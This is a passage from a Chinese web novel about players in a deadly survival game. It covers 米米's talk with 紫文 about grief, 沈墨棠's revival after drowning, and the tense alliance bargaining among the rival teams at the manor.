“哈哈哈,不会啦。”王潇依旧闭眼笑着:“你不要那么激动啦,他们找到食物肯定会分享的啦。”
植物园里有充足干净的水源,要求不高的话,口渴了随处都能润润嗓。
可是要准备足够10个人……至少是7个人的食物,确实不是一件容易的事。
范诺琪耷拉下脑袋,肚子“咕噜噜”又一阵响,抱怨着:“哎呀……再这样下去快饿死了……这么大个植物园总不能一点吃的都没吧……哎?老大,照理说……紫文姐应该早就在这等吃了吧?怎么现在都见不到?”
王潇睁眼,神色一凝,语气如常:“是啊。”
“肚子最容易饿的人没来,这是为什么呢?”
102. 巫凌海庄园29
米米在偌大的植物园中绕了不止三圈。
她寻找着从未见过的[金]牌,同时努力适应与永夜城内科技落差极大的生活。
这里没有通讯、没有自助餐、没有洗澡睡觉的地方、没有那么好用的“高效睡眠仪”。
走累了,找累了,她就独自躺在阳光绚烂的镂空玻璃房中,在繁花锦簇的秋千床上,短暂的cos一回童话小公主自娱自乐,松垮垮地眯了会。
习惯了永夜城中无尽的黑夜,植物园的阳光显得那么奢侈美好,几乎让人忘记身处何方。
恍惚间,米米还是那个无忧无虑大学生,穿着喜欢的小裙子参加漫展。
“才过多久啊……这就怀念了。”
米米眯眼,望着并不刺眼的玻璃房顶,不由得感慨。
如果能一直躺在这里,不用参加各种反人类的死亡游戏,按照爸妈安排好的,好好念书,毕业后让亲戚介绍从事外贸相关工作,那该多好。
平淡,充实,安全。
而不是像现在这样,朝不保夕,犹若浮萍。
纠结许久,米米在摇曳的秋千床上坐直,一时之间心中百感交集。
同一届的新人,沈墨棠和宋白河都进了游戏,生死难料。
她却心安理得地躲在这里,就此躺平?
可是……他们的生死,又与她何干?
或者说,整个永夜城的人,都与她何干?
与你何干?与我何干?
反正最后,肯定会死在某个莫名其妙的游戏里,为什么不给自己选个好地方,死在阳光下呢?
米米摇摇头,深吸一口气:“米米,你这样想,跟躺休眠舱有什么区别。”
不要想死的事情,要想着活,怎么才能活下去。
嗯,四方战要赢,一直赢!
分不清是因为说服自己活下去,还是因为肚子咕咕叫的本能,总之米米下了秋千床,狠狠伸了懒腰,继续寻找那张尤为珍贵的[金]牌。
估摸着时间差不多的时候,她开始往回走,要去公告栏处与队友们会合。
根据团队讨论以及老玩家的经验之谈,东城最终将植物园大本营的会合据点,设置在最初的告示栏附近。
因为参加游戏的成员回来,会出现在这个地方。到时候不论她/他在游戏当中遇到什么,都能第一时间获得照顾。
每个队伍参加四方战的只有10名玩家。
如果不能保证成员的“重复参赛率”,很可能在凑出胡牌前就全军覆没,提前出局!
……
米米顺着蜿蜒的鹅卵石步道,穿行在异彩纷呈的花圃树丛中,保持搜寻的目光,大海捞针。
[金]牌可能藏在哪?
挂在树上?树梢上?埋在土里?藏在水池底?嵌在树干中?
脚下踩过的每一寸土地,头顶掠过的每一根树枝,目光所及和所不及的每一片大叶子上,都可能藏着[金]牌。
按这个方式找下去,可能这辈子都见不到它长什么样。
穿过爬满藤条的拱门,进入繁茂的乔木区域,阳光猛地变暗。
“哧哧……哧哧……哧哧……”
米米的耳朵动了动,脚步猛地一顿,抬眼望向声音的来源。
在人造的溪流岸边,红色和黄色的花圃里面,那些修剪成球状的,被装上大眼珠和弧形嘴巴的灌木中,有个人影露出半个身体,背对着步道,发出“哼哧哼哧”的可怕声音。
像是急促的呼吸,像是咀嚼,像是丧尸的低吟。
大本营内,有怪物?
死红蟹!
游戏这么玩的?
没进游戏的玩家要在大本营对抗丧尸?!
米米轻手轻脚,屏住呼吸,调整角度凑近了。
隔着烂漫花圃,能看到那人动作怪异,穿着东城的校服,埋头啃食着什么。
米米认出背影:“紫文姐?”
人影一僵,倏地回头,确实是青八条姚紫文。
只不过,此时她表情错愕惊恐,下半张脸沾满血污!
她的双手间捧着淋漓的……火龙果?
米米看清了,那不是血,是红色火龙果的汁液。
“啊啊啊啊!”姚紫文突然慌张大叫起来:“我我我我真的太饿了,不是不愿意分享啊!我我我就只找到这一小颗,都都都都不够我吃!”
“吓死了……”
米米拍拍胸口,长长松了口气,差点整个人都不好了。
姚紫文不舍地问:“你吃吗?”
米米望着她手中已经被啃食得干干净净的火龙果皮,抽抽嘴角摇头:“紫文姐,你吃吧……”
……
清理完作案现场,姚紫文和米米并排坐在溪边长椅上。
“还是好饿啊。”姚紫文呆呆望着溪流。
米米点点头:“嗯。”
姚紫文:“水里面会不会有鱼啊?”
“水至清则无鱼。”
“啊?哦。”姚紫文听了会,又问:“你吃东西了吗?”
“没有。”
“唉呀!那我们赶紧回去吧!他们应该找到吃的了!”
“……紫文姐,我能问个问题吗?”
“唔?”
姚紫文刚想起身,就被米米叫住,屁股悬空:“什么问题呀?有问题你尽管问。”
米米犹豫片刻,跟着起身:“没事,再……欸!?”
她被姚紫文按回长椅上,接受到对方认真的眼神:“有什么不明白的你早点问清楚,不要怕麻烦别人,要是因为这个丧命了,那可太冤了!”
会因为这个……丧命吗?
米米又是停了一会,终于开口:“紫文姐。”
“唔?”
“我们……死了那么多人。”米米情不自禁攥住长椅边缘,“小六姐、沈墨棠、宋白河,他们可能已经死了,之后,我们也可能死在这里,我们认识的每一个人,都会在哪一天莫名其妙的死掉……为什么,为什么你们,好像……”
“我们怎么了?”
“好像一点感觉都没有。”米米咽回到嘴边的话。
该吃吃,该喝喝,该睡睡,一点都不伤心难过的样子。
花圃静谧,溪水流淌。
两人间沉默几秒钟,直到米米为打破尴尬要跳过这个话题时,姚紫文终于开口:“唔……是啊,怎么会一点感觉都没有呢?”
米米没有说话,看着她。
姚紫文一味凝望清澈的溪流:“……我,一开始也是这么想的,跟你一样。”
“后来,有一次……”她轻轻一顿,目光低凝:“……我的,我的一个好朋友。哦,那时候还没飞升,我们还在下城区攒分……她死了,我都不知道她具体什么时候死的。就是……在一场游戏后,我回城里,很累,没联系她。”<
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p>“再想联系她的时候,才发现社媒上的信息,她已经死了,账号注销。”
永夜城内,玩家死亡后,社媒账号将被自动注销。
“你要说一点感觉都没有,那肯定不可能。”
姚紫文停了好一会,仰头看了眼天空,不知道该怎么说:“但是……可能是我,我比较冷血?说实话,是真的,我当时一点哭的想法都没有,因为马上要参加下一场游戏,已经计划好了的,如果取消不参加,那……我的分……其实,跟分应该没什么关系……”
“我的分是够的,但是取消的话,计划就被打乱了。你懂吗,当时如果取消,我要用多久时间来缅怀她,还是……哭?我没有安排哭的时间,就进下一个游戏。”
“那个游戏……”姚紫文说着,突然轻笑,“我忘了那个游戏玩什么了,忘得差不多了。”
“反正我从那个游戏里出来,哦,我记得很清楚,我还想联系她,刷她的主页。不只是那个游戏,之后……之后很多游戏,经常是从游戏里出来的时候,不管再累,都会想刷到她,我那个朋友……唔,小姐妹。”
她静静盯着溪流。
米米的手指轻轻在长椅边缘扣动。
红色、蓝色、黄色、粉色的花围着两人。
“后来,我还认识了很多人。”姚紫文深吸一口气:“永夜城嘛,你知道哒,每个游戏都要跟不同的人打交道,所以会认识一些人,加他们的好友,没赚分的时候,就相互联系一下……对,还聚餐。”
“聚餐哦,哈,你敢信?”
姚紫文换了个姿势,分不清是更放松,还是更紧张:
“你明明知道,跟你玩在一起的这些人,不知道哪一天就会……消失。就是死在你完全想不到的游戏里。”
“还有可能,这些人……”
她说话再次中断,轻轻咬牙:“他们当中有人,会跟你刚好选到一个游戏,是……对手。”
长足的沉默。
米米想说点什么回应,但或许是太久没吃东西,大脑宕机,只能干坐着扣椅子,有些后悔自己为什么要开启这个话题。
印象中,紫文姐每天就是健身锻炼,大大咧咧的,很规律,很单纯,没有太多大烦恼的样子。
但……
米米有点明白了。
永夜城是什么人间炼狱般的地方?
能在这里活下来的,谁没经历过生死诀别?谁的手上不是沾满了鲜血?
要是因此自怨自艾,那肯定活不长久。
世界越是残酷,活在其中的人就越是看淡生死。
只不过,人的情绪没有因此而淡漠,只是没有将情绪“浪费”在“哀悼”这件事上。
或者说,永夜城的哀悼方式与现实不太一样。
紫文姐,她的好友离世,她没有恸哭,但难道没有悲哀吗?
她每次从游戏出来,都会尝试刷一下社媒,尝试刷到那个永远不会再出来的主页——这个动作,不正是她对好友默哀的表达吗?
米米打断了姚紫文的回忆:“紫文姐,我还有个问题。”
“唔?”
“你火龙果哪里来的?”
“啊?啊啊啊啊那。”姚紫文回过神来,指向一颗混在灌木里面的火龙果树:“稍微成熟点的就结了这一颗,其他太小了,都不够一颗鹌鹑蛋大。”
米米跟着看过去。
“哦……”
103. 巫凌海庄园30
沈墨棠还是那样。
没有心跳,没有呼吸,没有脉搏。
四肢瘫软,面无血色,双唇惨淡。
宋白河清楚,对于大部分休克的病患,一旦过了15分钟没抢救过来,大概率就要失去这条生命。
他怀抱沈墨棠,大跨步冲下燕台,穿过曲桥跑到岸上。
最快需要2-3分钟。
然后拐进游廊,找个安全的地方将她放平,立刻进行急救。
要尝试重新激活心跳,唤醒呼吸,恢复意识。
宋白河的额头、鬓角、鼻翼,沁出密密的汗水,顺着脸庞汇聚,划过下颌。他挥汗如雨,根本没能腾出手去擦,连续24小时的高强度游戏几乎耗干了他,手臂上的伤口结痂又开裂,即便汗液渗进去也没工夫感受疼痛。
心肺复苏是一件没那么轻松的事情,特别是当他隐约有感觉——这次可能救不回来了。
……
沈墨棠曾经见到过那种“光”。
午夜,凌晨,或者有太阳的下雨天,安静的,从所有喧嚣声中剥离出来的意识,就会出现那种光。它一旦出现,就会短暂地如影随形——不是甩不掉,而是压根不会去想与它分离——你会想和自己的影子分开吗?
它就在那,不影响任何事情。
后来,沈墨棠习惯了这种光,可以称其为“时光”。
俗话都说“时光一去不复回”,你无法抓住时光,无法把握时光。
沈墨棠觉得自己可以。
有时候,她甚至能回到曾经的时光,看见曾经的自己,灰暗的,色彩饱和度极低的,如同罩在烟灰中,模糊又清晰,沉静而生动。
她记得那扇厚厚的棉布门帘,上面有花纹,样式经过不断回忆不断回忆,已经迭代到分不清真假。门帘后,红色的方地砖,烤得干干的,有时候都不知道扫帚扫开的是灰尘还是砖粉。老式的自建房,外屋有灶,里屋有炕,很舒服,很暖和。
屋内有人,真的有人,轻轻地叫,亲切无比。
“麻糖、麻糖。”
叫了两声,肯定是有什么急事吧。
视线如此模糊,沈墨棠分不清是因为做梦,还是因为眼泪的关系。她只是静静的,鼓起勇气,像平常一样走了进去。
房门被落在身后,屋子被落在身后,桌椅被落在身后,还有阳光和现实。
她看到炕上的她,不知道是因为寒冷还是疼痛,轻轻呻.吟,但看到她进屋,还是笑着,微笑着。
心脏突然一阵剧痛!
泪水瞬间憋出眼眶!
“嗬!嗬!……沈墨棠!”
不知道哪来的声音,叫回了理性,扑灭了火苗,犹如冷水当头浇下,不合时宜,冷酷无情。
温暖的屋子不见了,身边空了,触手可及的东西全都远离,可世界还是那个混沌的世界,灰暗。
世界,包括自己,都不值得半点留恋。
唯一的,值得往前走的,只有那道在风霜雨雪、昼夜阴晴的某一瞬间蹿进心里的光,那块不能触及的软肉牵引着最后的意志,才愿意在灰暗中多停留一会。
沉重得如同大地本身的身体难以挪动,但沈墨棠还是努力地抬腿。
一瞬间,时光流转,一切都回到从前,每一句话,每一个声音,每一天升起的太阳,都在倒退。
脚步逐渐轻快起来,身体像是坐上了滑梯。
“醒醒!!给我醒醒!沈墨棠!”
滑梯突然涩住了,摩擦阻力是如此之大,以至于沈墨棠无法再往前半步,只能卡在不上不下的半空。
“奶……奶奶……”
沈墨棠无助地挥舞小手,滑梯下面的奶奶也张开了怀抱。
可是为什么,为什么不让我下去!
为什么要揪着我!
松手啊!
沈墨棠无法回头,急得哭了出来,但不论她怎么挣扎,从背后揪着自己的手始终牢牢攥紧不放。
奶奶,别走……
奶奶笑着,挥手了,往前挥手,后退离开。
沈墨棠“哇”地一声大哭,哭得昏天黑地,振聋发聩,犹如流行陨落,高楼坍塌,搭建多年的楼阁轰然崩落;犹如初生的婴儿来到世界的第一声啼哭,那么决绝而充满生命力。
周围的光都不见了,灰暗变成了黑暗,世界变成了黑暗,沈墨棠也成了黑暗。
巨人从黑暗中站起。
巨人再次从黑暗中站起。
巨人又一次从黑暗中站起。
沈墨棠能看到巨人的脑子在跳动,仿佛心脏一样,膨胀收缩,发出无法理解的,无法听到的声音。
这到底是什么东西?为什么会在我该死的脑子里!
巨人睁开眼。
铺天盖地,海啸般淹没。
“沈墨棠!”
心跳,呼吸,脉搏。
像是网络延迟的直播内容,将之前卡住的部分全部加速播放,接回实时推流。
沈墨棠猛地睁开双眼,眼白通红。
“哕哕哕~~!”
一股不知道哪来的浑浊脏水从喉管里喷出,平躺的身体仿佛被重锤般的心跳弹起,像是泥鳅打滚,瞬间翻了个身,将那些混杂着污泥和腐植的湖水吐得满地都是。
湖水又呛得口鼻无法呼吸,在气管和食道之间来回折腾,惹得沈墨棠又咳又呕,身体都快痉挛了。
宋白河呢?
她在两次呕吐的间隙匆匆瞥一眼身旁,看到宋白河瘫坐在那,浑身大汗淋漓,露出虚脱而又如释重负的神态。
似乎是因为眼神接触,宋白河爬了回来,轻轻拍打沈墨棠的背:“还好吧?”
沈墨棠点了头,喘顺了气:“真见到我奶了……”
……
燕台。
“来咧。”老仙儿又招呼西城两人。
看样子,是想让西城帮忙搭把手,将兜帽男带去什么地方。
周彤不由得困惑:这兜帽男看起来早就没气了,还有得救吗?
就算抬进什么医院ICU,也不可能起死回生吧?
尽管如此,因为沈墨棠的叮嘱,周彤还是稳坐燕台上,关注着西城两人的一举一动——王宇韬投来一个爽朗的笑容,被她无视了。
这时候三十六计哪一计都不行。
王宇韬身边的油头粉面中年男,一只手不停地整理着胸口的领结,装出一副漫不经心的模样。
任谁都看得出来,他那对眼睛里精光四射,不知道短短的时间里算计了多少东西。
老仙儿抱着柯思思,再一次催促:“两位帅小哥,帮个忙,我老仙儿不会亏待你们咧。”
老仙儿为什么非要叫西城的人帮忙呢?
周彤瞥了眼老仙儿,又看向西城。
这次,王宇韬避开眼神接触,听中年男在耳旁悄声说了句,随即点了下头。
两人相继起身,走向南城。
他们决定要帮老仙儿了?
虽然只是帮忙搬“遗体”而已,但谁知道私下会不会进行结盟?
周彤从来就搞不懂什么“结盟势力”、“局势优劣”等心思,可既然小九叮嘱过别让西城和南
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城的结盟,那就不能轻易如他们所愿。
不同队伍的玩家之间天然存在竞争关系,想要进行短暂合作,势必需要一定契机。
看来,老仙儿就打算将今天作为契机。
沙……
圆凳在地上轻移,周彤也跟着起身凑向南城。
这意料之外的举动自然引来老仙儿、王宇韬、中年男的注意,三人刷地一下将目光集中在周彤身上——大白天的,东城总不至于敢动粗吧?
周彤就算再怎么钝感,都能感受到他们的困惑和防备。
她明白陶瓷娃娃的厉害,也没想太多,只觉得自己在场的话,南城和西城就没办法当着面结盟了。
他们总得避一避。
果然,西城两人停在老仙儿左前方,一步之遥,看着周彤。
周彤则停在老仙儿右前方,一步之遥,不知道接下来该做什么,只能略显尴尬地看着地上的兜帽男。
“难得,难得哟。”
老仙儿反应很快,抬头瞟着周彤,眼睛微微眯起:“你这娃儿也想来帮我咧?”
语调阴阳怪气,分不清是嘲弄揶揄,还是真心。
真尴尬……
周彤回避了目光,总不能说“我是来防止你们结盟合作”的吧。
王宇韬也笑着:“小姐姐,怎么了?有什么事吗?”
他一边问,一边往周彤靠了一步,似乎准备故技重施。
“呃……”周彤张口实在是不知道说什么,干脆又闭上嘴巴。
“你想……”
“哎!”
燕台另一侧突然响起呼喊。
低沉沙哑的嗓音,粗糙厚实,像是绷紧的麻布匹。
几人的注意力被吸引过去,只见司徒雅双臂叉在胸前,顶着略显呆滞的锅盖头,黑发黑衣黑裤,端坐圆凳上,正冷冷望着这边。
他的两名队友已经倒地,但队友的陶瓷娃娃都还站在那里。
猛地一看,还以为司徒雅身后跟着三个高大雨衣打手,颇有黑.帮的既视感。
他语气平淡:“死了的人要扔哪里?”
死了的人?
指的是他两个队友,还有南城的兜帽男吗?
周彤扫过王宇韬、中年男、老仙儿的脸,他们也都是面面相觑,不知道司徒雅究竟想干嘛。
“你们那个,二万,白二万。”司徒雅磨砂般的嗓音继续:“扔哪了?”
白二万?
是西城的大块头?
老仙儿和周彤都看向西城两人。
既然司徒雅知道大块头的“牌面”,就代表西城和北城也打过交道吧。
毕竟大块头淘汰的时候,山墙只显示了角色“巫本全,巫老爷”。
如果不是提前做功课,或者曾经认识,那么就是在游戏中,西城曾经向北城说过自己的牌面。
当然,这证明不了什么。
毕竟姓名、牌面之类的信息并不影响游戏的进行。
现在更值得疑惑的是——司徒雅问这个做什么?
大块头的尸体扔哪了?
是啊,大块头在第三天早晨就不见了,不论是生是死,那会去哪?
周彤虽然说不在意这件事,但还是望着西城。
只见中年男和王宇韬对视,随后又看了老仙儿及周彤的表情,摇了摇头:“不见了。”
不见了?
没人回应。
大家似乎都在等他继续往下说。
沉默持续了一会。
直到老仙儿极度不耐烦:“咋不见了?”
104. 巫凌海庄园31
“就消失了。”
中年男摊开手,表示自己说的是实话:“第二天我们一直守着他,第三天天亮,他没来,然后我们去第二天的地方找他,他就消失了。陶瓷娃娃也消失了。”
消失了?
周彤被中年男话绕得有点晕。
老仙儿倒是很快总结:
“就说他是没选房被淘汰的呗?直接送出游戏咧?”
中年男点点头。
老仙儿似乎意识到什么,俯身瞥了眼西城的座位,又问:“有血么?”
“血?”
“痕迹。”老仙儿活动活动下巴:“他流血了,血还在么?”
这两天集合的时候,燕台上都还留有大块头的血渍。
“还有,但是人没了。”中年男看着老仙儿。
这件事他没必要说谎,他也不想利用这个做什么文章。
对于西城两人而言,现在更要紧的不是给其他队伍使绊子,而是尽量降低自己的威胁度。
第一个夜晚就减员一人,这件事对西城而言既是莫大不幸,却也是可以利用的借口。
它向其他队伍释放了一个信息:
西城处在劣势,无需优先防范。
只要利用好这个印象,西城装出一副人畜无害、只想苟活的模样,大概率能在最终决战前避开争端。
鹬蚌相争,得利的是渔翁。
前两天,中年男和王宇韬向其他三个队伍都透了底,大意就是“我们选甲、乙,你们只要不选,我们就给你们伏低做小端茶送水当牛做马”。
但今天,局势又变了。
“那就轻松了。”
司徒雅说着站起身,按了按拳头嘎吱作响,嘴角似乎扬起一抹弧度:“我还以为要把尸体扔湖里呢,万一被当作暴力行为,哼,那可糟糕。”
扔湖里?为什么要扔湖里?
周彤实在搞不懂这些怪人的脑回路,人都凉了,还关心尸体干什么?
反正最后都要打一架的,这些善后的工作有必要聊这么多吗?
“我就不搬了,你们随意。”
司徒雅说着,蔑然瞟了地上的两名队友,又瞧向这边:“还有,我劝你们最好都选一个房间,我方便一起动手。”
几人反应过来,都意识到他的言下之意,是打算正面硬刚。
因为有“淘汰者积分清零”这条规则,所以【巫凌海庄园】除了找准[喜爱]和[憎恨],尽量摇铃得分之外,还有另一种极端的获胜方式——
正如周彤所想,把所有人都干掉就行了。
庄园上空,天边的云正悄无声息变多,变得更密更厚,将阳光遮蔽起来。
司徒雅说完这句像是威胁、宣战的话,便丢下两名队友,带着他的“随从”,独自离开燕台,
看他的状态,即便游戏时间过半却没有丝毫的疲惫感,反而比前几天更轻松的感觉,嘴角还挂着冷冷的笑意。
“咱就说,这北城还是一如即往,爱出怪人咧。”
老仙儿开口,将周彤、中年男、王宇韬的注意拉回来。
他重回原先的话题:“行咧,你们帮我带上他……女娃儿,你是要在这等他们?”
前面的“你们”是冲西城两人说的,后面的“他们”指的是沈墨棠、宋白河。
周彤听着这话,怎么听怎么像是在赶她,当下也不客气,冷道:“你们合作了吗?”
这质问来得突然,西城两人你看看我,我看看你,什么也没说。
倒是老仙儿冷笑两声,充满穿透力的眼神扫过中年男和王宇韬,又盯着周彤脸上瞧了会,随后大笑起来:“哎哟,他们两个啊,不是跟我们都合作了咧?”
周彤一怔,看到中年男和王宇韬的眼神低垂。
都合作?
“怎么?”老仙儿叹了口气,“甭跟咱装他们没找,大家心里有数就行咧。”
“帮忙咧,咱现在也是孤家寡人一个,得谈谈条件。”这位大叔再一次招呼西城两人,指了指地上的兜帽男。
周彤还没明白什么叫做“都合作”,也没去阻止什么。
但中年男却没有上手,只是站在老仙儿身前:“什么条件?”
老仙儿抬头,对上中年男冷漠的俯视眼神。
时间仿佛在这一瞬间凝固。
天空乌云堆积,阳光羸弱,灰蒙蒙的。
老仙儿猛地笑出声:“嚯呵!不装孙子啦?你是觉得自己有戏咧?”
中年男忍了忍,还是还嘴:“哼,昨天给你们干那么多活!又要打扫房子,又要搬水捡柴……故意给我们兄弟找事干,老头,你把我们兄弟当什么了!?”
“当合作对手。”
老仙儿的语气冷地一变,眼神也凌厉几分:“你是对手,对咱是,对东城、北城也都是……你要合作,要让咱保证不选你们的房间,当然要付出代价咧……小哥,你不会真觉着天上白白掉馅饼吧?”
“……”中年男一时语塞,似乎感受到周彤的视线,脸部肌肉僵硬起来,继续冲老仙儿:“那……代价就是帮你们干粗活?就是被你们使唤?”
“不是你们自愿的嘛?”
老仙儿从喉咙里发出一阵低低的哼吟,像是笑,像是气,又像是叹息,他继续道:“再说了,那烤地瓜你们没吃吗?你们可是连皮带肉没少吃啊……”
烤地瓜?
周彤换了个神色。
老仙儿:“……你们要避战保命,总得付出点代价,不然天底下哪有这好事儿咧?帮咱干点活,表示表示,不对嘛?”
“我们,也不可以不帮你们的。”中年男笑起来:“你们唯一能打的已经挂了,剩你个疯老头,还有这个半废的柯思思,你们现在有什么资格跟我们谈条件?”
周彤顺着中年男的话,瞥了眼兜帽男。
确实,从兜帽男惨不忍睹的面貌来看,他早已经咽气了。
很明显,南城的兜帽男是他们三人中战力最高者,威胁最大的人。现在兜帽男即将淘汰,剩下老仙儿和柯思思一老一小,怎么也不像是能掀起多大风浪的样子。
【巫凌海庄园】进行到现在,大家都逐渐明白游戏本质上是“暴力对抗”,对局势判断越来越清晰。
南城,已然变成威胁最小的一方,甚至比独剩一人的北城还弱。
老仙儿饶有兴致地打量中年男、王宇韬的表情,好一会才从喉咙里发出低笑:“呵呵呵……这么说,咱就没得合作,先前的约定也都作废咧?”
“哼。”中年男冷笑,撇开脸:“你们现在威胁不到我们。”<
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p>“是咧……”
老仙儿拖了一个长音,收起了脸上的笑,转头望着燕台外的天空。
天光不知何时已经昏暗,但不是太阳西落的暗,而是因为苍穹被阴云笼罩,气息压抑得让人心慌。
沉默中,抱着昏迷柯思思的老仙儿,神色间竟透出一股苍老惆怅。
粉毛衣大叔不再说话,西城两人明显占据了上风。
“走吧,青六万。”中年男撇下南城,看向周彤:“别管他们了。”
嗯?
周彤一直在旁边观望,直到这时候才眨了眨眼。
局势怎么突然变成这样了?
西城要拉她离开了?
小九和宋白河他们呢?什么时候回来?
刚刚,是小九叮嘱自己看着西城,防止他们和南城结盟……但现在西城和南城好像已经闹掰了,甚至想拉自己一伙……那是该怎么做?答应他们吗?
这时,老仙儿宛若回魂般冒了句:
“这女娃儿不是在等她队友么?”
周彤循声回头,对上老仙儿别有深意的目光。
接着,视线就被白衬衫挡住。
“小姐姐。”
眼前是王宇韬干净的脸蛋,他微笑抬手,指节分明的手指向湖面:“他们没事吧?需不需要去看看?”
“……?”
周彤往后退了一步,略显嫌弃。
王宇韬倒是没在意,继续道:“我是担心,北城那个人,是不是去找他们了。”
司徒雅?
周彤保持沉默,走到燕台边望向湖面,看不到司徒雅的身影,估计已经上了岸。
神奇的是,刚刚还阳光明媚的早晨,此时已经是一片晦暗。阳光被厚厚的云层稀释,变成雾蒙蒙的冷光,罩着这座庄园。
有微风吹起,空气缓缓流动,湖面褐黄的荷叶懒得晃动,轻轻点了下水。
庄园依然是那么死寂,唯有天边隐隐的低鸣,分不清是什么东西发出的声音。
或许压根只是耳鸣幻听。
“要去吗?”
王宇韬咬字温柔,跟在身后问。
周彤回头,她和王宇韬在燕台边,而中年男已经回到他的座位上,离老仙儿有一段距离。
既然西城和南城没有结盟的意思了,应该可以放松一点了吧。
“不了。”
周彤摇摇头,回到自己的座位坐下。
一方面是等小九和宋白河回来,另一方面是防止西城和南城结盟。
“可以坐这吧?”王宇韬跟到身旁,顺势就要坐在宋白河的位置,和周彤隔了一张圆凳。
周彤:“不可以。”
“啊……”
王宇韬的屁股没挨上凳子,尴尬地停在半空,保持一个半蹲的姿势,脸上露出无辜可怜的笑容,随即直起身:“好,我听你的,小姐姐……”
他就这样站在旁边,身段良好,像是什么店里等待客人的少爷。
周彤眉头微蹙,侧眼一瞥,颇感不适:“你站这干嘛?”
“唔……”
王宇韬歪了下脑袋,支支吾吾。
周彤更好奇地盯着他。
到底想干嘛?
王宇韬什么也没说,只是一味看向中年男和老仙儿。
105. 巫凌海庄园32
山墙上,时间一秒一秒跳动。
【16:57】
【16:58】
【16:59】
【17:00】
周彤身旁,王宇韬只是默默站着;中年男坐在西城座位,也没开口。
既然没回应,周彤也懒得再搭理他们。
反正只要西城和南城不结盟,自己就算完成任务了。
老仙儿年老力衰,脸上时不时露出一两个嘲讽的笑容,手臂护着柯思思,目不转睛盯着山墙,仿佛老僧入定。
燕台突然沉默。
天色更暗,阴阴的,不似要下雨,但就是云很多,很密。一丝凉风吹过,很久,才再有一丝。
压抑、沉寂,却又给人一种安之若素的沉静感,仿佛什么都不会发生,一切都会过去。
这种“危险预兆被忽略”的错觉,宛若一根针被遗忘在柔软的被窝里。
沉默持续近两分钟。
中年男起身,百无聊赖地在燕台走了两步,去看北城倒地的兵哥和秀老板,又看看天,看看地,然后再蹲下来细看,仿佛是什么查看案发现场死者尸体的探员。
“喂。”
另一边,许久未说话的老仙儿一眯眼,突然开口:“你们知道谁是裴珠吗?”
这没头没尾的问话,吸引了其他人无处安放的目光。
什么猪?
哦……裴珠?
周彤反应过来。
“裴珠”不就是小九的角色吗?
老仙儿为什么会知道?
但是不管怎样,先别声张好点吧?
周彤这么想着,很快两眼放空,平静无波。
“老头我是裴峰。”
老仙儿又说,语气有些力不从心:“咱这里面谁是裴珠,记得私下来找我咧。”
说完,他将昏迷的柯思思放倒在地,让她平躺在席炎身旁,自己则坐在旁边守护他俩。
不知道是否因为和西城翻脸,现在的老仙儿看上去完全失去游戏开始时的意气风发,颓然地坐在那。
像个坐在村口戏台上的疯老头,无所事事,认不得家。
他是裴峰?
周彤不动声色地瞟了一眼。
和裴珠什么关系?
……
碧空万里。
巫府的大门雕梁画栋,如意抱鼓石硕大而敦实,像是在说巫家家底殷厚,大门大户。
裴珠紧紧跟在阿兄身后,跨过高高的门槛,浏览过祥云仙鹤纹样的灰石影壁,进入院中。
眼前豁然开朗,不知名的开花植物,黄橙相间,红漆圆柱粗得能有两人合抱,撑着精致屋顶,飞檐高高翘起,檐头的鸟兽宛若融入天空。
这阵子跟着阿兄走南闯北,混迹多地,裴珠还是头一回进这么富贵的宅子。
比自家原先的宅子都大,都新,都漂亮。
要是真如阿兄所说,这次会在此定居下来,倒是一件极好的事。
忘记是怎么进的厅堂,进了哪个厅堂——裴珠小时候听娘说过,能从正门进的都是贵客——这么看来,阿兄应该是巫家的贵客,被奉为座上宾的那种——所以一开始进的厅,也必然是很大很气派的地方。
裴珠之所以不太记得第一次进巫府的厅,是因为当阿兄要和巫家主人巫老爷谈事时,先将她支开了。
他们让巫家小姐带着她,一起去水香榭逛逛。
水香榭是一个景色优美的地方,面对大片的湖,有半阁屏风,摆着琴棋茶盏,还有一些看起来可可爱爱的布偶,挂肚兜的老虎、拿着锣鼓的小猴子、如同枕头般的小象,颇有趣味。
“我叫巫晓楠,你叫什么名字?”
“我叫裴珠。”
“那我问你,那个人是你哥哥吗?他叫什么呀?”
“他叫裴峰。”
“裴峰……”
……
沈墨棠再次醒来,差点倒向水香榭的凭栏外。
身后及时伸出一双手,将她拦腰抱住。
等人站稳了,宋白河才轻问:“怎么了?还晕吗?”
“嗯……”
不是头晕。
沈墨棠望着破败的湖景,齐刘海下眉头轻蹙。
幻觉?
怎么会?
这里只是湖边游廊连接的一个不起眼的破烂平台,顶都塌光了,剩下光秃秃的两根朽烂一半的立柱。
原来,曾经还有个“水香榭”的雅称。
只不过,之前来回经过多次,怎么就没出现幻觉呢?
“先去燕台。”沈墨棠扶住宋白河的胳膊。
“可是你……”
“幻觉,裴珠的记忆。”
沈墨棠简要解释,示意宋白河无需在意。
幻觉里,应该是是裴珠头一次进巫凌海庄园的印象。
和巫老爷、巫小姐都有接触,沿途还见到许多下人。
不知道里面有没有管家春兰和护院马五,或者是其他角色。
总之,现在先回燕台跟小六姐会合,再做打算。
天上的云在这时候变厚了,黑压压的,一块叠着一块,犹如无数轻飘飘的地球板块,经过什么地壳运动撞到一起,推挤,升沉,而这些板块越来越多,还不断从未知的“海洋”中浮现,直到挤得层峦叠嶂,严严实实。
天气显得愈发阴郁,偶尔一朵云飘开,散射的阳光只能攀着云沿儿发出微弱的光芒。
几乎仰息之间,乌云密布的天穹就融为一面混沌的磨砂镜,累积的云层变得平整,陡峻的山峦被顷刻碾平,碎成海浪般的丘陵,再碎成沙地。
风变大了,只不过再也无法吹动那些凝结成块的牢固云层,只在地面打转,呼啸而来,又席卷轮回。
一阵又一阵。
越来越暗的天色中,沈墨棠和宋白河相扶着走上曲桥,小心避免跌入水中。
两个陶瓷娃娃跟在他们身后,像是被迫跟在行动不便者后面排队的倒霉蛋。
好在它们冰冷单调,毫无情绪。
登上湖中岛,穿过假山庭园,拾级上了燕台。
刚到台下观众席,就和台上的中年男对上目光,他随即抬手打了招呼,油头粉面挂满假笑。
沈墨棠并没有意识到自己脸色苍白如纸,眼窝深陷,行动迟缓,任谁都看得出体能达到了极限。
她唯一还能坚持的,只剩下理性、观察、思考。
从台下看,中年男此时是在北城的位置?
那司徒雅呢?他去哪了?
沈墨棠攥着宋白河的胳膊,防止脚下瘫软跌倒,和他迅速从旁侧台阶登上燕台。
这时候听到中年男回头叫着:“青六万,他们回来了。”
然后小六姐三两步跑过来,露出如释重负的神态,明显是被西城两个“狗皮膏药”纠缠烦了。
以她的性格,亏得能忍住没动手。
“还好吧?”
小六姐凑近到脸前,关切问。
